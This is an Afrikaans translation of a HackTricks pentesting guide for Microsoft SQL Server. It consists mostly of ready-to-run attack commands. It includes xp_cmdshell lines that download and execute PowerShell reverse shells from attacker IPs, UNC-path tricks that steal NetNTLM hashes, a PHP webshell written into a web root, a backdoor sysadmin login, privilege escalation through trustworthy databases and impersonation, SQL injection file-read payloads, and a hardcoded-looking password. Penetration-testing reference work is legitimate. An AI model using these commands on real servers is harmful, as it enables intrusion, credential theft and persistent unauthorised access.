1433 - Pentesting MSSQL - Microsoft SQL Server

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Try Hard Security Group


Basiese Inligting

Van wikipedia:

Microsoft SQL Server is 'n relasionele databasis-bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan hardloop.\

Verstekpoort: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Verstek MS-SQL Stelsel Tabelle

  • meester Databasis: Hierdie databasis is noodsaaklik omdat dit alle stelselvlak besonderhede vir 'n SQL Server instansie vasvang.

  • msdb Databasis: SQL Server Agent maak gebruik van hierdie databasis om skedulering vir waarskuwings en take te bestuur.

  • model Databasis: Tree op as 'n bloudruk vir elke nuwe databasis op die SQL Server instansie, waar enige veranderings soos grootte, sortering, herstelmodel, en meer nageboots word in nuut geskepte databasisse.

  • Hulpbron Databasis: 'n Slegs-lees databasis wat stelselvoorwerpe huisves wat met SQL Server kom. Hierdie voorwerpe, alhoewel fisies gestoor in die Hulpbron databasis, word logies voorgestel in die sys skema van elke databasis.

  • tempdb Databasis: Dien as 'n tydelike stoorplek vir tydelike voorwerpe of tussenliggende resultaatsets.

Opsomming

Outomatiese Opsomming

As jy niks weet van die diens nie:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

As jy nie geloofsbriewe het nie, kan jy probeer om hulle te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan rekeninge blokkeer as jy misluk om 'n paar keer in te teken met 'n bestaande gebruikersnaam.

Metasploit (benodig geloofsbriewe)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Handleiding Enumerasie

Aanteken

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Gewone Opsomming

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

Kry Gebruiker

pageTypes of MSSQL Users
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Kry Toestemmings

  1. Beveiligbaar: Gedefinieer as die bronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer in:

  • Bediener - Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en bedienersrolle in.

  • Databasis - Voorbeelde dek databasisrol, toepassingsrolle, skema, sertifikate, volledige tekskatalogusse, en gebruikers.

  • Skema - Sluit tabelle, aansigte, prosedures, funksies, sinonieme, ens. in.

  1. Toestemming: Verbonde met SQL Server beveiligbares, toestemmings soos ALTER, BEHEER, en SKEP kan aan 'n hoofakteur toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:

  • Bedienervlak deur gebruik van aanmeldings

  • Databasisvlak deur gebruik van gebruikers

  1. Hoofakteur: Hierdie term verwys na die entiteit wat toestemming verleen word tot 'n beveiligbare. Hoofakteurs sluit hoofaantekeninge en databasisgebruikers hoofsaaklik in. Die beheer oor toegang tot beveiligbares word uitgeoefen deur die toekennen of ontkenning van toestemmings of deur die insluiting van aanmeldings en gebruikers in rolle toegerus met toegangsregte.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Sluike metodes

Voer OS-opdragte uit

Let daarop dat dit nie net nodig is om xp_cmdshell geaktiveer te hê om opdragte uit te voer nie, maar ook die UITVOER-permissie op die xp_cmdshell gestoorde prosedure te hê. Jy kan sien wie (behalwe sysadmins) xp_cmdshell kan gebruik met:

Use master
EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

Steel NetNTLM-hash / Oorplasing aanval

Jy moet 'n SMB-bediener begin om die hash wat in die verifikasie gebruik word, vas te vang (impacket-smbserver of responder byvoorbeeld).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

Jy kan nagaan of wie (behalwe stelseladministrateurs) toestemming het om daardie MSSQL-funksies uit te voer met:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Deur gereedskap soos responder of Inveigh te gebruik, is dit moontlik om die NetNTLM-hash te steel. Jy kan sien hoe om hierdie gereedskap te gebruik in:

pageSpoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Misbruik van MSSQL vertroude skakels

Lees hierdie pos om meer inligting te vind oor hoe om hierdie kenmerk te misbruik:

pageMSSQL AD Abuse

Skryf Lêers

Om lêers te skryf met behulp van MSSQL, moet ons Ole Automation Procedures aktiveer, wat admin-voorregte vereis, en dan sekere gestoorde prosedures uitvoer om die lêer te skep:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Lees lêer met OPENROWSET

Standaard, MSSQL laat lêer lees op enige lêer in die bedryfstelsel waartoe die rekening leestoegang het toe. Ons kan die volgende SQL-navraag gebruik:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Egter, die BULK opsie vereis die ADMINISTER BULK OPERATIONS of die ADMINISTER DATABASE BULK OPERATIONS toestemming.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Foutgebaseerde vektor vir SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Lees lêers wat skripte uitvoer (Python en R)

MSSQL kan jou toelaat om skripte in Python en/of R uit te voer. Hierdie kode sal uitgevoer word deur 'n verskillende gebruiker as die een wat xp_cmdshell gebruik om bevele uit te voer.

Voorbeeld om 'n 'R' "Hellow World!" wat nie werk nie uit te voer:

Voorbeeld van die gebruik van gekonfigureerde Python om verskeie aksies uit te voer:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Lees Register

Microsoft SQL Server bied verskeie uitgebreide gestoorde prosedures wat jou in staat stel om te interakteer met nie net die netwerk nie, maar ook die lêersisteem en selfs die Windows Register:

Gewone

Instansie-bewus

sys.xp_regread

sys.xp_instance_regread

sys.xp_regenumvalues

sys.xp_instance_regenumvalues

sys.xp_regenumkeys

sys.xp_instance_regenumkeys

sys.xp_regwrite

sys.xp_instance_regwrite

sys.xp_regdeletevalue

sys.xp_instance_regdeletevalue

sys.xp_regdeletekey

sys.xp_instance_regdeletekey

sys.xp_regaddmultistring

sys.xp_instance_regaddmultistring

sys.xp_regremovemultistring

sys.xp_instance_regremovemultistring

```sql

# Example read registry

EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';

# Example write and then read registry

EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';

EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';

# Example to check who can use these functions

Use master;

EXEC sp_helprotect 'xp_regread';

EXEC sp_helprotect 'xp_regwrite';

```

Vir meer voorbeelde kyk na die oorspronklike bron.

RCE met MSSQL Gebruiker Gedefinieerde Funksie - SQLHttp

Dit is moontlik om 'n .NET dll binne MSSQL te laai met aangepaste funksies. Dit vereis egter dbo toegang sodat jy 'n verbinding met die databasis nodig het as sa of 'n Administrateur rol.

Volg hierdie skakel om 'n voorbeeld te sien.

Ander maniere vir RCE

Daar is ander metodes om opdrag uit te voer, soos die byvoeging van uitgebreide gestoorde prosedures, CLR Versamelings, SQL Server Agent Take, en eksterne skripte.

MSSQL Voorregverhoging

Vanaf db_owner tot sysadmin

As 'n gewone gebruiker die rol db_owner oor die databasis wat deur 'n admin besit word (soos sa) gegee word en daardie databasis is ingestel as trustworthy, kan daardie gebruiker hierdie voorregte misbruik om te voorregverhoging omdat gestoorde prosedures wat daar geskep is, kan uitgevoer word as die eienaar (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Jy kan 'n metasploit module gebruik:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Of 'n PS skrips:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Impersonasie van ander gebruikers

SQL Server het 'n spesiale toestemming, genaamd IMPERSONATE, wat die uitvoerende gebruiker toelaat om die regte van 'n ander gebruiker of aanmelding oor te neem totdat die konteks herstel word of die sessie eindig.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

As jy 'n gebruiker kan impersoneer, selfs as hy nie 'n sysadmin is nie, moet jy nagaan of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners.

Merk op dat sodra jy 'n sysadmin is, kan jy enige ander een impersoneer:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Jy kan hierdie aanval uitvoer met 'n metasploit module:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

of met 'n PS skrip:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Gebruik van MSSQL vir Volharding

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Uithaling van wagwoorde vanaf SQL Server Gekoppelde Bedieners

'n Aanvaller kan SQL Server Gekoppelde Bedieners se wagwoorde uithaal uit die SQL-instansies en hulle in die teks sien, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te kry. Die skrif om die wagwoorde wat vir die Gekoppelde Bedieners gestoor word, te onttrek en te dekripteer, kan hier gevind word.

Sekere vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateur-regte op die masjien hê, of die vermoë om die SQL Server-konfigurasies te bestuur.

Nadat jou regte geverifieer is, moet jy drie dinge konfigureer, naamlik:

  1. Skakel TCP/IP in op die SQL Server-instansies;

  2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorvlag bygevoeg word, naamlik -T7806.

  3. Skakel afstandbeheerverbinding in.

Om hierdie konfigurasies outomaties te maak, het hierdie bewaarplek die benodigde skripte. Benewens 'n Powershell-skrip vir elke stap van die konfigurasie, het die bewaarplek ook 'n volledige skrip wat die konfigurasietskripte en die uithaling en dekriptering van die wagwoorde kombineer.

Vir verdere inligting, verwys na die volgende skakels oor hierdie aanval: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Plaaslike Bevoorregtingseskalasie

Die gebruiker wat MSSQL-bediener hardloop, sal die bevoorregtingsteken SeImpersonatePrivilege geaktiveer hê. Jy sal waarskynlik kan eskaleer na Administrateur deur een van hierdie 2 bladsye te volg:

pageRoguePotato, PrintSpoofer, SharpEfsPotato, GodPotatopageJuicyPotato

Shodan

  • port:1433 !HTTP

Verwysings


HackTricks Outomatiese Opdragte

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated